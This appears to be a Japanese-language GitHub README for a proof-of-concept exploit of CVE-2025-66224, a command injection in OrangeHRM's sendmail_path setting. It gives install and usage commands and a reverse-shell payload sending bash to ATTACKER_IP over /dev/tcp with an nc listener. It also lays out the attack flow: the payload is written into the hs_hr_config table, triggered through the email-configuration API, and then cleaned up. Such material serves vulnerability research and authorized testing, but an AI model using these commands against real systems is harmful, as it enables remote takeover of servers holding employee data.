richard-natan/poc-cve-2025-66224概念実証エクスプロイト (CVE-2025-66224) — OrangeHRM の sendmail_path パラメータにおけるコマンドインジェクションを介したリモートコード実行を示すもの。自動的なデータベースペイロードインジェクションとクリーンアップを伴う。
この概念実証（PoC）は、OrangeHRM の sendmail_path 設定パラメータにおけるコマンドインジェクションを通じたリモートコード実行（RCE）脆弱性を示しています。
このエクスプロイトは以下のように動作します：
hs_hr_config テーブル）に注入するこのツールは教育目的および許可されたセキュリティテスト目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。作成者はこのツールの誤用または損害について一切の責任を負いません。
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrm Cookie の値をコピーするpython3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
-dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
-cmd '<COMMAND_TO_EXECUTE>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# 攻撃マシンでリスナーを起動する
nc -lvnp 4444
# リバースシェルペイロードでエクスプロイトを実行する
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
| パラメータ | 短縮形 | 必須 | 説明 |
|---|---|---|---|
--target | -t | ✅ | ターゲットURL（例：http://target.com） |
--cookie | -c | ✅ | セッションCookieの値 |
--cookie_name | -cn | ❌ | Cookie名（デフォルト：_orangehrm） |
--command | -cmd | ✅ | ターゲット上で実行するコマンド |
--db_host | -dh | ✅ | MySQLホストアドレス |
--db_user | -du | ✅ | MySQLユーザー名 |
--db_pass | -dp | ✅ | MySQLパスワード |
--db_port | -dport | ❌ | MySQLポート（デフォルト：3306） |
脆弱性は、sendmail_path パラメータがデータベースに保存され、適切なサニタイズなしで後で実行されるメール設定機能に存在します。
エクスプロイトの流れ：
1. OrangeHRM に認証する（有効なセッションCookieを取得）
↓
2. MySQL データベースに接続する
↓
3. hs_hr_config テーブルを見つける
↓
4. email_config.sendmail_path の値を更新する：
FROM: /usr/sbin/sendmail -bs
TO: /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5. API 経由で実行をトリガーする：
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. コマンドがサーバー上で実行される
↓
7. 元の値を復元する（クリーンアップ）
脆弱性のあるパラメータ： email_config.sendmail_path
データベース：
hs_hr_configname = 'email_config.sendmail_path'value = sendmail コマンドのパストリガーエンドポイント：
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_path パラメータに厳格な検証を実装するPoC 作成者： RiccK
チーム： Bypassadores && HackersOnSteroids
⚠️ 責任を持って使用してください。テストを実施する前には必ず適切な許可を取得してください。